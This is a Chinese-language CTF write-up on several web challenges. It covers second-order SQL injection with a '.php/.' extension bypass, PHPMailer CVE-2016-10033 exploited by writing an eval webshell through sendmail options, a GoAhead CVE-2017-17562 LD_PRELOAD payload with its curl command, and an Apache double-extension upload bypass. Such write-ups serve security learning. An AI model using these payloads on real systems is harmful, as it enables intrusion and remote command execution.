来个友情链接

容易得到文件泄露：`.git`

拿到源码后发现了用户名和密码

```
define('USERNAME', 'ambulong');
define('PASSWORD', 'd5cae3acc4070jc359f4012f3ddc5f53');
define('SALT', '.KIJ03,;owas');
```

但是并不知道登录界面在哪里，猜想源码泄露可能没有给全……

翻了git的记录也没发现什么，还是等大佬的官方题解吧

SecNote

在源码中得到提示`www.zip`

成功下到源码，分析了一下源代码

关键代码

```
function delnote($id, $user) {
        global $conn;
        $id = (int)$id;
        $result = $conn->query("delete from note where id=$id and user='$user'");
        return $result;
}
```

容易发现其他部位的函数，对于sql都进行了`'0x'`处理，唯独这里没有，并且还能发现只有这里的`$user`变量加了单引号，十分可疑，后来题目提示了二次盲注

所以容易发现这里存在二次盲注，只要注册一个带注入的语句，删除note，即可触发这里的代码，导致时间注入

但就算发现了注入点，这个题也很难做出来

因为考虑到是二次注入，所以脚本中需要写注册，登录，写note，删note的过程

而这里登录与注册都存在验证码问题，因为比赛最后1小时才发现注入点，所以没有尝试到绕过验证码的方式，这里期待大佬的官方wp，不知道是什么奇淫技巧绕过，总之这里的盲注十分繁琐。

然后接着往下，如下注入完成，可以得到管理员密码，这时候可以以管理员身份登入，那么就能触发下面的关键代码

```
case 'backup':
                if (!$admin) {
                        header("HTTP/1.1 302 Found");
                        header("Location: ?action=home");
                }
                if (!empty($_POST['id']) && !empty($_POST['file'])) {

                        $id = (int)$_POST['id'];
                        chdir("./backupnotes/");
                        $file = str_replace("..","",$_POST['file']);
                        if (preg_match('/.+\.ph(p[3457]?|t|tml)$/', $file))
echo '<div class="alert alert-danger">Bad file extension</div>';
                        else {
```

```
                                $result = $conn->query("select * from note
where id=$id");
                                if (!$result->num_rows)  echo '<div
class="alert alert-danger">Failed to backup</div>';
                                else {
                                        $data = $result->fetch_assoc();
                                        $f = fopen($file, 'w');
                                        if($f){
                                                fwrite($f,
$data['content']);
                                                fclose($f);
                                                echo '<div
class="alert alert-success">Backup saved at ./backupnotes/' . $file .
'</div>';
                                        }else{
                                                echo '<div
class="alert alert-danger">Failed to backup</div>';
                                        }
                                }
                        }
                }
```

可以看到关键的过滤代码只有:

```
if (preg_match('/.+\.ph(p[3457]?|t|tml)$/', $file)) echo '<div
class="alert alert-danger">Bad file extension</div>';
```

这个如果没猜错的话，应该是`/.`的问题，在刚结束的XCTF中刚刚遇到，也是比较经典的问题，文件名`1.php/.`即可绕过

所以这个题的难点只有二次盲注。

经典留言板

这题很可惜，赛后才知道是PHPMailer 命令执行漏洞（CVE-2016-10033）

当时一直以为是XSS，然后自己XSS学艺不精，没有仔细尝试，反正很亏

附上带POC的分析：

`https://www.cnblogs.com/REscan/p/6306890.html`

期待可以拿到复现账号尝试

以下是复现结果

拿到题目：`http://192.168.5.69/`

是一个留言板界面

本以为是XSS，尝试许久无果，又试了试文件泄露

拿到源码,给出关键漏洞点：

```php
<?php
if (isset($_POST['submit'])) {
    $email = isset($_POST['email']) ? trim($_POST['email']) : '';
    $title = isset($_POST['title']) ? trim($_POST['title']) : '';
    $content = isset($_POST['content']) ? trim($_POST['content']) : '';
    if (chkEmail($email) && chkTitle($title) && chkContent($content)) {
        $to = 'ambulong@vulnspy.com';
        $subject = "收到来自 {$email} 的留言";
        $msg = "{$title}\n{$content}\nFrom: {$email}";
        $headers = 'From: ' . $email . "\r\n" . 'Reply-To: ' . $email . "\r\n" . 'X-Mailer: PHP/' . phpversion();
        $options = sprintf('-f%s', $email);
        if (mail($to, $subject, $msg, $headers, $options)) {
            echo "留言成功";
        } else {
            echo "留言失败";
        }
    }
    exit;
}
```

其中

```
mail($to, $subject, $msg, $headers, $options)
```

正是经典的

```
CVE-2016-10033
```

```
PHPMailer 命令执行漏洞
```

给出一篇分析链接：

```
http://blog.csdn.net/wyvbboy/article/details/53969278
```

简述这个漏洞点，就是对传给mail函数的第五个参数没有正确过滤：

由于$options是通过$email拼接而来，我们可以使得$email中存在恶意代码，即可获取shell

尝试：

```
email=
-sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php
title=
<?php eval($_GET[sky]);?>
```

访问

```
http://192.168.5.69/skyskysky.php
```

发现文件写入成功

```
00040 <<< To: ambulong@vulnspy.com
00040 <<< Subject: 收到来自 -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php 的留言
00040 <<< X-PHP-Originating-Script: 0:index.php
00040 <<< From: -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php
00040 <<< Reply-To: -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php
00040 <<< X-Mailer: PHP/5.6.32
00040 <<<
00040 <<< 00040 <<<
skyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.phpskyskytest.php
00040 <<< From: -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php
00040 <<< [EOF]
00040 >>> collect: Cannot write ./dfw0S539g0000040 (bfcommit, uid=48, gid=48): Permission denied
00040 >>> queueup: cannot create queue file ./qfw0S539g0000040, euid=48, fd=-1, fp=0x0: Permission denied
```

尝试一下命令执行

```
view-source:http://192.168.5.69/skyskysky.php?sky=system(%22ls%22);
```

发现成功执行

```
00040 <<< 123.php
flag.php
index.php
sky.php
skyskysky.php
skytest.php
sss.php
style.css
testsky.php
xxx.php
```

读取flag

```
view-source:http://192.168.5.69/skyskysky.php?sky=system(%22cat%20flag.php%22);


00040 <<< <?php
//flag{d1663b0e859c1cb1705099fa560944c0}
?>
```

GOGOGO

这题拿到题目发现无法访问，扫了下端口，发现是8080端口开放

进去后可以看见`Hello gogogo`

感觉没什么用，抓了个包看看，发现是`goahead`

于是搜了一波，发现有CVE:

`GoAhead服务器 远程命令执行漏洞(CVE-2017-17562)`

附上Freebuf的一篇文章

`http://www.freebuf.com/vuls/158089.html`

漏洞利用也非常简单

payload.c

```
# PoC/payload.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    write(1, "Hello: World!\n", 14);
}
```

然后gcc成so文件：`gcc -shared -fPIC ./payload.c -o payload.so`

然后攻击

`curl -X POST --data-binary @payload.so`

`http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i`

可以得到回显

类似于如下：（当时没截图= =随便找了个差不多的）

```
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:  World!
Content-type: text/html
```

只要出现`hello: World!`就说明攻击成功了

那么下面构造我们的攻击payload

首先是找文件的绝对路径

c语言实现执行命令的脚本网上一搜一大堆，我的没保存，这里就不赘述了

最后发现是www目录下的goahead文件夹

然后读文件

```
#include "stdio.h"
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
```

```
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi";
     FILE *fp;
     char StrLine[1024];
     if((fp = fopen(filename,"r")) == NULL)
     {
         printf("error!");
         return -1;
     }

     while (!feof(fp))
     {
         fgets(StrLine,1024,fp);
         printf("%s\n", StrLine);
     }
     fclose(fp);
}
```

即可拿到flag

```
curl -X POST --data-binary @payload.so http://192.168.5.42:8080/cgi-bin/hello.cgi?LD_PRELOAD\=/proc/self/fd/0 -i
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Sun Jan 21 04:31:28 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Content-Type:  text/html

Hello GOGOGO#!/usr/bin/perl



print "Content-Type: text/html\n\n";

print "Hello GOGOGO";

#flag{ef9f1f880e1f001bedd32bfc52674128}

#flag{ef9f1f880e1f001bedd32bfc52674128}
```

与时俱进2

社区中有`http://forum.91ctf.com/index.php/group/topic/id-22`

我这里就不赘述了，这题还是比较亏的……当时想多了= =把自己绕进去了

新瓶装旧酒

这题看到代码，当时审了比较久，不知道洞在哪里

后来才关注到服务器的版本问题，apache存在解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

比如`cracer.php.owf.rar`“.owf”和”.rar”这两种后缀是apache不可识别解析apache就会把cracer.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个cracer.php.rara.jpg.png…（把你知道的常见后缀都写上…）去测试是否是合法后缀。
而这里就是存在这样的解析漏洞
所以我们准备脚本`sky.php.png`压缩成压缩包上传即可拿到shell，我们的png会被解析为php
但是这里有一个小绕过，因为会删除带有php的文件
但是这里过滤不严谨，PHP大写即可绕过，最后成功拿到shell，获得flag